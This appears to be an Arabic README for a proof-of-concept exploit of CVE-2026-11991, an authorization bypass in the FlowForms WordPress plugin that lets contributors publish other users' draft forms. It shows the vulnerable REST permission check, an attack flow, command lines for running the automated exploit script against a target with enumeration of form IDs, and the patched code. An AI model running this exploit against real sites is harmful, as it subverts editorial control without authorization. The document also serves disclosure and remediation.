
استغلال آلي لثغرة CVE-2026-11991، وهي تجاوز للتفويض في إضافة FlowForms الخاصة بووردبريس تتيح لمستخدمي Contributor+ نشر أي نموذج مسودة عبر طلبات REST API مصممة بعناية.
| الخاصية | القيمة |
|---|
| معرف CVE | CVE-2026-11991 |
| درجة CVSS | 6.2 — متوسطة |
| متجه CVSS | AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N/E:H/RL:O/RC:C |
| CWE | CWE-639 (تجاوز التفويض عبر مفتاح يتحكم به المستخدم) |
| المنتج | FlowForms — إضافة منشئ النماذج التفاعلية لووردبريس |
| المتأثر | جميع الإصدارات حتى 1.1.1 |
| تم الإصلاح في | 1.1.2 |
| الباحث | Phantom Hat |
دراسة حالة كاملة بالصندوق الأبيض مع تحليل الكود المصدري، وتتبع تدفق المدخلات، ومقارنة التصحيحات:
يكشف FlowForms عن واجهة REST API تحت مساحة الاسم flowforms/v1. نقطة النشر:
POST /index.php?rest_route=/flowforms/v1/forms/{id}/publish
تقبل {id} الذي يتحكم به المستخدم في مسار URL وترفع نموذج المسودة إلى الموقع المباشر.
يقوم permission_callback لمسار /publish فقط بفحص قدرة عامة:
register_rest_route($ns, '/forms/(?P<id>\d+)/publish', [
'methods' => 'POST',
'callback' => [$this, 'publish_form'],
'permission_callback' => fn() => current_user_can('edit_posts'),
]);
edit_posts هي قدرة يمتلكها المساهمون — وهو دور يقيده ووردبريس عمدًا من نشر المحتوى. لا يوجد أي تحقق من الملكية مقابل form_id المستهدف. يمكن لأي مستخدم مصادق نشر أي نموذج مسودة على الموقع.
المهاجم (مساهم) FlowForms REST API
│ │
│── POST /wp-login.php ────────────>│ (1) المصادقة كمساهم
│<─ wordpress_logged_in cookie ─────│
│ │
│── GET /wp-admin/post-new.php ────>│ (2) جمع REST nonce
│<─ wpApiSettings.nonce ────────────│
│ │
│── GET /flowform/{id} ────────────>│ (3) تعداد النماذج المسودة
│<─ "Form Not Published" ───────────│ (استجابة غير مصادقة)
│ │
│── POST /flowforms/v1/forms/ │ (4) تشغيل النشر على
│ {id}/publish ─────────────>│ أي معرف نموذج مسودة
│ │ ← لا يوجد فحص ملكية
│<─ { "success": true } ────────────│
│ │
│ النموذج أصبح الآن مباشرًا على الموقع │ (5) المسودة تتجاوز
│ دون موافقة تحريرية │ سير العمل التحريري
مساهم على الأقل على الموقع المستهدفgit clone https://github.com/0x00phantom-hat/CVE-2026-11991-FlowForms-Exploit
cd CVE-2026-11991-FlowForms-Exploit
pip install -r requirements.txt
python3 CVE-2026-11991-exploit.py \
--url http://TARGET \
--user contributor \
--password password123 \
--num_forms 100 \
--id_start 1
python3 CVE-2026-11991-exploit.py \
--url http://TARGET \
--proxy http://127.0.0.1:8080 \
--user contributor \
--password password123 \
--num_forms 100 \
--id_start 1
| الخيار | الوصف | مطلوب |
|---|---|---|
--url | عنوان URL المستهدف لووردبريس | ✅ |
--user | اسم مستخدم ووردبريس (مساهم+) | ✅ |
--password | كلمة مرور ووردبريس | ✅ |
--num_forms | عدد معرفات النماذج للتعداد | ✅ |
--id_start | معرف البداية لتعداد النماذج | ✅ |
--proxy | عنوان البروكسي (مثل http://127.0.0.1:8080) | ❌ |
ينفذ الاستغلال ثلاث خطوات آلية:
الخطوة 1 — المصادقة
تسجيل الدخول كمهاجم (مساهم) وجمع nonce صالح لواجهة REST API من wp-admin.
الخطوة 2 — تعداد المسودات
فحص GET /flowform/{id} عبر نطاق المعرفات المحدد. يتم جمع النماذج التي تُرجع "Form Not Published" كأهداف — وهي نماذج مسودة لا يملكها المهاجم.
الخطوة 3 — النشر
إرسال POST /flowforms/v1/forms/{id}/publish مع nonce المهاجم. تقبل نقطة النهاية الطلب، وترفع المسودة، وتجعل النموذج مباشرًا — دون أي فحص تفويض على الملكية.
| الإجراء | التفاصيل |
|---|---|
| التصحيح | استبدال فحص edit_posts العام بـ current_user_can('edit_post', $form_id) — الوسيطة الثانية تربط فحص القدرة بكائن المنشور المحدد، مما يفرض قواعد ملكية ووردبريس |
| التخفيف | حتى يتم التصحيح، قيّد أدوار المساهم والمؤلف إذا كانت الإضافة نشطة |
// ضعيف
'permission_callback' => fn() => current_user_can('edit_posts'),
// آمن (مصحح)
private function can_edit_form($form_id) {
return current_user_can('edit_post', $form_id);
}
'permission_callback' => fn($request) => $this->can_edit_form(absint($request['id'])),
CVE-2026-11991-FlowForms-Exploit/
├── CVE-2026-11991-exploit.py # استغلال محسّن بواجهة غنية
├── requirements.txt # تبعيات Python
└── README.md # هذا الملف
تُقدَّم هذه الأداة لأغراض اختبار الأمان المصرح به والبحث التعليمي فقط. الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني بموجب القوانين المعمول بها في جميع أنحاء العالم. لا يتحمل المؤلف أي مسؤولية عن إساءة استخدام هذا البرنامج. احصل دائمًا على إذن كتابي صريح قبل اختبار أي نظام لا تملكه.
Phantom Hat — باحث أمني مستقل
أُجري هذا البحث كجزء من الإفصاح المسؤول عن الثغرات.